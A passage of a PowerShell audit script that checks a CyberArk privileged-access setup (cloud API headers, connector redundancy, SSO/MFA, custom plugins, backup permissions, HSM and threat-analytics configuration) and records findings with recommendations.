-CISControl "PC2" ` -CheckName "ISP Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PrivilegeCloudAPI { # PC3: Cloud API endpoint security Write-AuditLog "Checking Privilege Cloud API security (PC3)..." -Level Info try { # Test API endpoint security headers $apiEndpoint = "$PVWA/PasswordVault/API/Auth/Logon" $response = Invoke-OPSECWebRequest -Uri $apiEndpoint -Method OPTIONS -ErrorAction SilentlyContinue $issues = @() if ($response) { $headers = $response.Headers # Check security headers if (-not $headers["Strict-Transport-Security"]) { $issues += "Missing HSTS header" } if (-not $headers["X-Content-Type-Options"]) { $issues += "Missing X-Content-Type-Options" } if (-not $headers["X-Frame-Options"] -and -not $headers["Content-Security-Policy"]) { $issues += "Missing clickjacking protection" } } if ($issues.Count -eq 0) { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC3" ` -Finding "Privilege Cloud API security headers configured" ` -Resource "API Endpoint" ` -CurrentValue "Security headers present" ` -ExpectedValue "HSTS, X-Content-Type-Options, X-Frame-Options" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC3" ` -Finding "Privilege Cloud API security header gaps" ` -Resource "API Endpoint" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "All security headers present" ` -Recommendation "Contact CyberArk support regarding missing security headers (managed service)" ` -Severity "Low" } } catch { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC3" ` -CheckName "Privilege Cloud API Security" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-TenantIsolation { # PC4: Multi-tenant isolation checks Write-AuditLog "Checking tenant isolation (PC4)..." -Level Info try { if ($PrivilegeCloudTenant) { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC4" ` -Finding "Privilege Cloud tenant identification" ` -Resource "Tenant" ` -CurrentValue "Tenant: $PrivilegeCloudTenant" ` -ExpectedValue "Isolated tenant environment" ` -Recommendation "Verify tenant isolation: 1) Unique tenant URL, 2) Data segregation, 3) Audit log separation. CyberArk manages infrastructure isolation." ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC4" ` -Finding "Tenant isolation verification" ` -Resource "Privilege Cloud" ` -CurrentValue "Tenant name not provided" ` -ExpectedValue "Identified tenant for isolation verification" ` -Recommendation "Provide -PrivilegeCloudTenant parameter for tenant-specific checks" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC4" ` -CheckName "Tenant Isolation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CloudConnectorRedundancy { # PC5: Connector HA configuration Write-AuditLog "Checking connector redundancy (PC5)..." -Level Info try { if ($script:AuthToken) { $connectors = Invoke-CyberArkAPI -Endpoint "PrivilegeCloud/Connectors" -ErrorAction SilentlyContinue if ($connectors -and $connectors.connectors) { $connectorCount = $connectors.connectors.Count $healthyCount = @($connectors.connectors | Where-Object { $_.status -eq "Connected" -or $_.status -eq "Healthy" }).Count if ($connectorCount -ge 2 -and $healthyCount -ge 2) { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC5" ` -Finding "Connector redundancy properly configured" ` -Resource "Connectors" ` -CurrentValue "$healthyCount of $connectorCount connectors healthy" ` -ExpectedValue "At least 2 healthy connectors" ` -Severity "Info" ` -Status "Pass" } elseif ($connectorCount -lt 2) { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC5" ` -Finding "Insufficient connector redundancy" ` -Resource "Connectors" ` -CurrentValue "Only $connectorCount connector(s) deployed" ` -ExpectedValue "At least 2 connectors for HA" ` -Recommendation "Deploy additional connectors for high availability. Single connector is a single point of failure." ` -Severity "High" } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC5" ` -Finding "Connector redundancy at risk" ` -Resource "Connectors" ` -CurrentValue "Only $healthyCount of $connectorCount connectors healthy" ` -ExpectedValue "At least 2 healthy connectors" ` -Recommendation "Restore unhealthy connectors to maintain high availability" ` -Severity "High" } } else { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC5" ` -CheckName "Connector Redundancy" ` -Reason "Connector data not available" ` -Type "MissingData" } } else { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC5" ` -CheckName "Connector Redundancy" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC5" ` -CheckName "Connector Redundancy" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region CyberArk Identity / Idaptive function Test-CyberArkIdentitySecurity { Write-AuditLog "Starting CyberArk Identity security checks..." -Level Info if (-not $IncludeIdentityChecks -and -not $IdentityTenantUrl) { Write-AuditLog "Identity checks skipped (use -IncludeIdentityChecks)" -Level Info return } Test-SSOIntegrationPVWA Test-AdaptiveMFAPolicy Test-IdentityLifecycleSync Test-SessionRiskScoring Test-IdentityAuditIntegration Test-IdentityAppCatalog } function Test-SSOIntegrationPVWA { # IDN1: SSO to PVWA configuration Write-AuditLog "Checking SSO integration with PVWA (IDN1)..." -Level Info try { if ($script:AuthToken) { $authMethods = Invoke-CyberArkAPI -Endpoint "Configuration/AuthenticationMethods" -ErrorAction SilentlyContinue if ($authMethods) { $samlEnabled = $authMethods | Where-Object { $_.id -match "SAML|SSO" -and $_.enabled -eq $true } $oidcEnabled = $authMethods | Where-Object { $_.id -match "OIDC|OAuth" -and $_.enabled -eq $true } if ($samlEnabled -or $oidcEnabled) { $ssoType = if ($samlEnabled) { "SAML" } else { "OIDC" } Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN1" ` -Finding "SSO integration enabled for PVWA" ` -Resource "Authentication Methods" ` -CurrentValue "$ssoType SSO enabled" ` -ExpectedValue "SSO integration active" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN1" ` -Finding "SSO not configured for PVWA" ` -Resource "Authentication Methods" ` -CurrentValue "No SAML/OIDC configured" ` -ExpectedValue "SSO integration for centralized authentication" ` -Recommendation "Enable SAML or OIDC SSO with CyberArk Identity for centralized authentication and MFA" ` -Severity "Medium" } } else { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN1" ` -CheckName "SSO Integration" ` -Reason "Auth methods not accessible" ` -Type "MissingData" } } else { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN1" ` -CheckName "SSO Integration" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN1" ` -CheckName "SSO Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-AdaptiveMFAPolicy { # IDN2: Risk-based MFA strength Write-AuditLog "Checking adaptive MFA policy (IDN2)..." -Level Info try { if ($IdentityTenantUrl) { # Check Identity tenant for adaptive MFA $mfaEndpoint = "$IdentityTenantUrl/api/mfa/policies" $response = Invoke-OPSECWebRequest -Uri $mfaEndpoint -Method GET -ErrorAction SilentlyContinue if ($response -and $response.StatusCode -eq 200) { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN2" ` -Finding "Adaptive MFA policies accessible" ` -Resource "CyberArk Identity" ` -CurrentValue "MFA policy endpoint responsive" ` -ExpectedValue "Adaptive MFA configured" ` -Recommendation "Verify: 1) Risk-based step-up MFA, 2) Device trust policies, 3) Location-based policies, 4) Behavior analytics integration" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN2" ` -Finding "Adaptive MFA verification required" ` -Resource "CyberArk Identity" ` -CurrentValue "MFA policy endpoint not accessible" ` -ExpectedValue "Adaptive MFA configured" ` -Recommendation "Manually verify adaptive MFA policies in CyberArk Identity admin console" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN2" ` -Finding "Adaptive MFA assessment" ` -Resource "CyberArk Identity" ` -CurrentValue "Identity tenant URL not provided" ` -ExpectedValue "Risk-based adaptive MFA" ` -Recommendation "Configure adaptive MFA: step-up for risky logins, device trust, geolocation policies" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN2" ` -CheckName "Adaptive MFA Policy" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-IdentityLifecycleSync { # IDN3: HR/AD sync for lifecycle Write-AuditLog "Checking identity lifecycle sync (IDN3)..." -Level Info try { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN3" ` -Finding "Identity lifecycle synchronization" ` -Resource "CyberArk Identity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Automated lifecycle from HR/AD" ` -Recommendation "Verify: 1) HR system integration for joiner/mover/leaver, 2) AD sync for attribute updates, 3) Automated deprovisioning on termination, 4) Access review triggers on role change" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN3" ` -CheckName "Identity Lifecycle Sync" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SessionRiskScoring { # IDN4: Risk score thresholds Write-AuditLog "Checking session risk scoring (IDN4)..." -Level Info try { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN4" ` -Finding "Session risk scoring configuration" ` -Resource "CyberArk Identity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Risk scoring with appropriate thresholds" ` -Recommendation "Configure risk scoring: 1) Set thresholds for MFA step-up (Medium/High), 2) Block on Critical risk, 3) Enable behavior analytics, 4) Configure impossible travel detection" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN4" ` -CheckName "Session Risk Scoring" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-IdentityAuditIntegration { # IDN5: Identity events to SIEM Write-AuditLog "Checking Identity audit integration (IDN5)..." -Level Info try { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN5" ` -Finding "Identity audit log integration" ` -Resource "CyberArk Identity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Identity events forwarded to SIEM" ` -Recommendation "Configure: 1) SIEM connector for Identity events, 2) Real-time forwarding, 3) Include: login events, MFA challenges, policy changes, admin actions" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN5" ` -CheckName "Identity Audit Integration" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-IdentityAppCatalog { # IDN6: Privileged app access policies Write-AuditLog "Checking Identity app catalog (IDN6)..." -Level Info try { Add-Finding -Category "CyberArk Identity" ` -CISControl "IDN6" ` -Finding "Privileged application access policies" ` -Resource "CyberArk Identity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Privileged apps require strong auth" ` -Recommendation "Verify: 1) PVWA app in catalog with MFA requirement, 2) Strong auth for admin consoles, 3) Device trust for sensitive apps, 4) Session recording for privileged app access" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "CyberArk Identity" -CISControl "IDN6" ` -CheckName "Identity App Catalog" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #region Custom Plugins Security (PLG1-PLG5) function Test-CustomPluginSecurity { Write-AuditLog "Running Custom Plugin Security Checks..." -Level Info Test-PSMConnectorSecurity Test-CPMPluginSecurity Test-UnauthorizedComponents Test-PluginSignatures Test-CustomScriptPermissions } function Test-PSMConnectorSecurity { # PLG1: Custom PSM connector security Write-AuditLog "Checking custom PSM connector security (PLG1)..." -Level Info try { # Check for custom PSM connectors via API $components = Invoke-CyberArkAPI -Endpoint "/API/ComponentsMonitoringDetails/SessionManagement" -Method "GET" -ErrorAction SilentlyContinue if ($components) { $customConnectors = @() foreach ($component in $components.Components) { if ($component.ComponentType -match "Custom|Third" -or $component.ComponentName -notmatch "^(PSM-|CyberArk)") { $customConnectors += $component.ComponentName } } if ($customConnectors.Count -gt 0) { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG1" ` -Finding "Custom PSM connectors detected" ` -Resource "PSM Connectors" ` -CurrentValue "Found $($customConnectors.Count) custom connectors: $($customConnectors -join ', ')" ` -ExpectedValue "All custom connectors should be reviewed and validated" ` -Recommendation "Review custom PSM connectors for: 1) Source code review, 2) Digital signature validation, 3) Input/output sanitization, 4) Credential handling security" ` -Severity "Medium" } else { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG1" ` -Finding "No custom PSM connectors detected" ` -Resource "PSM Connectors" ` -CurrentValue "Only standard CyberArk connectors in use" ` -ExpectedValue "Standard connectors preferred" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG1" ` -Finding "Custom PSM connector security" ` -Resource "PSM Connectors" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Custom connectors validated and signed" ` -Recommendation "Review: 1) Custom connector code for security issues, 2) Digital signatures on DLLs, 3) Input validation, 4) Secure credential handling" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG1" ` -CheckName "PSM Connector Security" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CPMPluginSecurity { # PLG2: Custom CPM plugin injection risks Write-AuditLog "Checking custom CPM plugin security (PLG2)..." -Level Info try { # Check platforms for custom prompts/plugins $platforms = Invoke-CyberArkAPI -Endpoint "/API/Platforms?Active=true" -Method "GET" -ErrorAction SilentlyContinue if ($platforms -and $platforms.Platforms) { $customPlatforms = @() foreach ($platform in $platforms.Platforms) { if ($platform.PlatformID -notmatch "^(Win|Unix|Oracle|MSSQL|MySQL|SSH|Telnet|CyberArk)") { $customPlatforms += $platform.PlatformID } } if ($customPlatforms.Count -gt 0) { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG2" ` -Finding "Custom CPM platforms detected" ` -Resource "CPM Platforms" ` -CurrentValue "Found $($customPlatforms.Count) custom platforms" ` -ExpectedValue "Custom platforms should be security reviewed" ` -Recommendation "Review custom CPM platforms for: 1) Command injection in prompts, 2) Secure password change scripts, 3) Error handling, 4) Logging of operations" ` -Severity "Medium" } else { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG2" ` -Finding "No custom CPM platforms detected" ` -Resource "CPM Platforms" ` -CurrentValue "Only standard platforms in use" ` -ExpectedValue "Standard platforms preferred" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG2" ` -Finding "Custom CPM plugin security" ` -Resource "CPM Plugins" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Custom plugins reviewed for injection risks" ` -Recommendation "Review: 1) Custom prompts for command injection, 2) Password change scripts, 3) Reconciliation logic, 4) Error handling" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG2" ` -CheckName "CPM Plugin Security" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-UnauthorizedComponents { # PLG3: Unauthorized/outdated component detection Write-AuditLog "Checking for unauthorized components (PLG3)..." -Level Info try { $systemHealth = Invoke-CyberArkAPI -Endpoint "/API/ComponentsMonitoringDetails" -Method "GET" -ErrorAction SilentlyContinue if ($systemHealth) { $outdatedComponents = @() $unknownComponents = @() foreach ($component in $systemHealth.Components) { # Check for version mismatches or unknown components if ($component.ComponentVersion -and $component.ComponentVersion -lt "12.0") { $outdatedComponents += "$($component.ComponentName) v$($component.ComponentVersion)" } if ($component.ComponentType -eq "Unknown" -or $component.IsRegistered -eq $false) { $unknownComponents += $component.ComponentName } } if ($outdatedComponents.Count -gt 0) { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG3" ` -Finding "Outdated CyberArk components detected" ` -Resource "System Components" ` -CurrentValue "Outdated: $($outdatedComponents -join ', ')" ` -ExpectedValue "All components on supported versions" ` -Recommendation "Update outdated components to current supported version to receive security patches" ` -Severity "High" } if ($unknownComponents.Count -gt 0) { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG3" ` -Finding "Unregistered/unknown components detected" ` -Resource "System Components" ` -CurrentValue "Unknown: $($unknownComponents -join ', ')" ` -ExpectedValue "All components registered and authorized" ` -Recommendation "Investigate unknown components - may indicate unauthorized installations or configuration issues" ` -Severity "High" } if ($outdatedComponents.Count -eq 0 -and $unknownComponents.Count -eq 0) { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG3" ` -Finding "All components current and authorized" ` -Resource "System Components" ` -CurrentValue "All components registered and up to date" ` -ExpectedValue "Components current and authorized" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG3" ` -Finding "Component authorization status" ` -Resource "System Components" ` -CurrentValue "Manual verification required" ` -ExpectedValue "All components authorized and current" ` -Recommendation "Verify: 1) All installed components are authorized, 2) Component versions are current, 3) No rogue installations" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG3" ` -CheckName "Unauthorized Components" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PluginSignatures { # PLG4: Plugin digital signature validation Write-AuditLog "Checking plugin digital signatures (PLG4)..." -Level Info try { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG4" ` -Finding "Plugin digital signature validation" ` -Resource "Plugin Signatures" ` -CurrentValue "Manual verification required" ` -ExpectedValue "All plugins digitally signed by CyberArk or trusted publisher" ` -Recommendation "Verify: 1) All DLLs in PSM/CPM directories are signed, 2) Signatures are from CyberArk or approved vendors, 3) AppLocker/WDAC enforces signature requirements, 4) Audit unsigned code execution" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG4" ` -CheckName "Plugin Signatures" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-CustomScriptPermissions { # PLG5: Custom script file permissions Write-AuditLog "Checking custom script permissions (PLG5)..." -Level Info try { Add-Finding -Category "Custom Plugins" ` -CISControl "PLG5" ` -Finding "Custom script file permissions" ` -Resource "Script Permissions" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Scripts read-only, owned by admin accounts" ` -Recommendation "Verify: 1) Custom scripts are read-only to service accounts, 2) Only admins can modify scripts, 3) Scripts are in protected directories, 4) File integrity monitoring enabled" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Custom Plugins" -CISControl "PLG5" ` -CheckName "Custom Script Permissions" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Backup Security (BKP1-BKP5) function Test-BackupSecurity { Write-AuditLog "Running Backup Security Checks..." -Level Info Test-VaultBackupEncryption Test-BackupFilePermissions Test-BackupTransitEncryption Test-BackupRestorationTesting Test-BackupRetentionPolicy } function Test-VaultBackupEncryption { # BKP1: Vault backup encryption Write-AuditLog "Checking vault backup encryption (BKP1)..." -Level Info try { if ($BackupPath -and (Test-Path $BackupPath)) { $backupFiles = Get-ChildItem -Path $BackupPath -Filter "*.bak" -ErrorAction SilentlyContinue if ($backupFiles) { Add-Finding -Category "Backup Security" ` -CISControl "BKP1" ` -Finding "Vault backup files found" ` -Resource $BackupPath ` -CurrentValue "Found $($backupFiles.Count) backup files" ` -ExpectedValue "Backups encrypted at rest" ` -Recommendation "Verify: 1) Backups are encrypted with Vault server key, 2) Encryption keys are securely stored, 3) Backup encryption is tested during restore drills" ` -Severity "Medium" } } else { Add-Finding -Category "Backup Security" ` -CISControl "BKP1" ` -Finding "Vault backup encryption status" ` -Resource "Vault Backups" ` -CurrentValue "Manual verification required (use -BackupPath to analyze)" ` -ExpectedValue "All backups encrypted at rest" ` -Recommendation "Verify: 1) Vault backup encryption is enabled, 2) Encryption uses strong algorithms (AES-256), 3) Keys are managed securely" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP1" ` -CheckName "Vault Backup Encryption" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-BackupFilePermissions { # BKP2: Backup file permissions Write-AuditLog "Checking backup file permissions (BKP2)..." -Level Info try { if ($BackupPath -and (Test-Path $BackupPath)) { $acl = Get-Acl -Path $BackupPath -ErrorAction SilentlyContinue if ($acl) { $riskyPermissions = @() foreach ($access in $acl.Access) { if ($access.IdentityReference -match "Everyone|Users|Authenticated Users" -and $access.FileSystemRights -match "Write|Modify|FullControl") { $riskyPermissions += "$($access.IdentityReference): $($access.FileSystemRights)" } } if ($riskyPermissions.Count -gt 0) { Add-Finding -Category "Backup Security" ` -CISControl "BKP2" ` -Finding "Backup directory has risky permissions" ` -Resource $BackupPath ` -CurrentValue "Risky: $($riskyPermissions -join '; ')" ` -ExpectedValue "Only Vault service and backup admins have access" ` -Recommendation "Remove write access for non-admin users from backup directory" ` -Severity "High" } else { Add-Finding -Category "Backup Security" ` -CISControl "BKP2" ` -Finding "Backup directory permissions appear secure" ` -Resource $BackupPath ` -CurrentValue "No excessive permissions detected" ` -ExpectedValue "Restricted access" ` -Severity "Info" ` -Status "Pass" } } } else { Add-Finding -Category "Backup Security" ` -CISControl "BKP2" ` -Finding "Backup file permissions" ` -Resource "Vault Backups" ` -CurrentValue "Manual verification required (use -BackupPath to analyze)" ` -ExpectedValue "Restricted to backup administrators only" ` -Recommendation "Verify: 1) Backup files readable only by Vault service, 2) Backup admins have restricted access, 3) Audit logging on backup access" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP2" ` -CheckName "Backup File Permissions" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-BackupTransitEncryption { # BKP3: Backup in-transit encryption Write-AuditLog "Checking backup transit encryption (BKP3)..." -Level Info try { Add-Finding -Category "Backup Security" ` -CISControl "BKP3" ` -Finding "Backup in-transit encryption" ` -Resource "Backup Transfer" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Backups encrypted during transfer to offsite storage" ` -Recommendation "Verify: 1) Backups transferred over encrypted channels (TLS/SSH), 2) Network segmentation for backup traffic, 3) Secure replication to DR site" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP3" ` -CheckName "Backup Transit Encryption" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-BackupRestorationTesting { # BKP4: Backup restoration testing Write-AuditLog "Checking backup restoration testing (BKP4)..." -Level Info try { Add-Finding -Category "Backup Security" ` -CISControl "BKP4" ` -Finding "Backup restoration testing" ` -Resource "Backup Restoration" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Regular restoration tests performed and documented" ` -Recommendation "Verify: 1) Quarterly restoration drills, 2) Documented restoration procedures, 3) RTO/RPO validation, 4) DR vault synchronization testing" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP4" ` -CheckName "Backup Restoration Testing" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-BackupRetentionPolicy { # BKP5: Backup retention policy Write-AuditLog "Checking backup retention policy (BKP5)..." -Level Info try { Add-Finding -Category "Backup Security" ` -CISControl "BKP5" ` -Finding "Backup retention policy" ` -Resource "Backup Retention" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Retention policy aligned with compliance requirements" ` -Recommendation "Verify: 1) Retention period meets regulatory requirements, 2) Secure deletion of expired backups, 3) Offsite retention, 4) Immutable backup options" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Backup Security" -CISControl "BKP5" ` -CheckName "Backup Retention Policy" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region HSM Integration (HSM1-HSM4) function Test-HSMIntegration { Write-AuditLog "Running HSM Integration Checks..." -Level Info Test-HSMConnectivity Test-HSMKeyWrapping Test-HSMPartitionIsolation Test-HSMFirmwareCurrency } function Test-HSMConnectivity { # HSM1: HSM connectivity and health Write-AuditLog "Checking HSM connectivity (HSM1)..." -Level Info try { # Try to get Vault configuration for HSM settings (used for future enhancement) $null = Invoke-CyberArkAPI -Endpoint "/API/Configuration/Vault" -Method "GET" -ErrorAction SilentlyContinue $hsmProvider = if ($HSMProvider) { $HSMProvider } else { "Unknown" } Add-Finding -Category "HSM Integration" ` -CISControl "HSM1" ` -Finding "HSM connectivity status" ` -Resource "HSM ($hsmProvider)" ` -CurrentValue "Manual verification required" ` -ExpectedValue "HSM connected and healthy" ` -Recommendation "Verify: 1) HSM is reachable from Vault server, 2) HSM client software is current, 3) HSM health monitoring alerts configured, 4) Redundant HSM connectivity" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "HSM Integration" -CISControl "HSM1" ` -CheckName "HSM Connectivity" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-HSMKeyWrapping { # HSM2: HSM key wrapping configuration Write-AuditLog "Checking HSM key wrapping (HSM2)..." -Level Info try { Add-Finding -Category "HSM Integration" ` -CISControl "HSM2" ` -Finding "HSM key wrapping configuration" ` -Resource "HSM Key Management" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Vault master key wrapped by HSM" ` -Recommendation "Verify: 1) Vault master key is HSM-protected, 2) Key wrapping uses approved algorithms, 3) HSM backup keys are securely stored, 4) Key ceremony procedures documented" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "HSM Integration" -CISControl "HSM2" ` -CheckName "HSM Key Wrapping" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-HSMPartitionIsolation { # HSM3: HSM partition isolation Write-AuditLog "Checking HSM partition isolation (HSM3)..." -Level Info try { Add-Finding -Category "HSM Integration" ` -CISControl "HSM3" ` -Finding "HSM partition isolation" ` -Resource "HSM Partitions" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Dedicated partition for CyberArk Vault" ` -Recommendation "Verify: 1) CyberArk has dedicated HSM partition, 2) Partition access restricted to Vault service, 3) Partition limits enforced, 4) Audit logging enabled on partition" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "HSM Integration" -CISControl "HSM3" ` -CheckName "HSM Partition Isolation" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-HSMFirmwareCurrency { # HSM4: HSM firmware currency Write-AuditLog "Checking HSM firmware currency (HSM4)..." -Level Info try { $hsmProvider = if ($HSMProvider) { $HSMProvider } else { "your HSM vendor" } Add-Finding -Category "HSM Integration" ` -CISControl "HSM4" ` -Finding "HSM firmware currency" ` -Resource "HSM Firmware" ` -CurrentValue "Manual verification required" ` -ExpectedValue "HSM firmware is current and supported" ` -Recommendation "Verify: 1) HSM firmware is up to date per $hsmProvider advisories, 2) Security patches applied, 3) Firmware version is supported, 4) Upgrade schedule documented" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "HSM Integration" -CISControl "HSM4" ` -CheckName "HSM Firmware Currency" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region PTA Advanced Detection (PTAD1-PTAD6) function Test-PTAAdvanced { Write-AuditLog "Running PTA Advanced Detection Checks..." -Level Info Test-PTACustomRules Test-PTAMLQuality Test-PTAAlertFatigue Test-PTARuleCoverage Test-PTAUEBAIntegration Test-PTAAutomatedResponse } function Test-PTACustomRules { # PTAD1: PTA custom detection rules Write-AuditLog "Checking PTA custom rules (PTAD1)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD1" ` -Finding "PTA custom detection rules" ` -Resource "PTA Rules" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Custom rules defined for organization-specific threats" ` -Recommendation "Review: 1) Custom rules for privileged account abuse, 2) Rules for off-hours access, 3) Geographic anomaly rules, 4) High-risk asset access rules" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD1" ` -CheckName "PTA Custom Rules" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PTAMLQuality { # PTAD2: PTA ML model quality Write-AuditLog "Checking PTA ML model quality (PTAD2)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD2" ` -Finding "PTA ML model quality" ` -Resource "PTA Machine Learning" ` -CurrentValue "Manual verification required" ` -ExpectedValue "ML models trained with sufficient data and regularly updated" ` -Recommendation "Verify: 1) Sufficient training data (90+ days), 2) Model retraining schedule, 3) False positive/negative rates acceptable, 4) Baseline accuracy metrics" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD2" ` -CheckName "PTA ML Quality" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PTAAlertFatigue { # PTAD3: PTA alert fatigue analysis Write-AuditLog "Checking PTA alert fatigue (PTAD3)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD3" ` -Finding "PTA alert fatigue analysis" ` -Resource "PTA Alerts" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Alert volume manageable with low false positive rate" ` -Recommendation "Review: 1) Alert volume per day/week, 2) False positive rate (<10% target), 3) Alert tuning history, 4) Dismissed alert patterns" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "PTA Deep Dive" -CISControl "PTAD3" ` -CheckName "PTA Alert Fatigue" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PTARuleCoverage { # PTAD4: PTA detection rule coverage Write-AuditLog "Checking PTA rule coverage (PTAD4)..." -Level Info try { Add-Finding -Category "PTA Deep Dive" ` -CISControl "PTAD4" ` -Finding "PTA detection rule coverage" ` -Resource "PTA Coverage" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Rules cover all MITRE ATT&CK relevant techniques" ` -Recommendation "Verify coverage for: 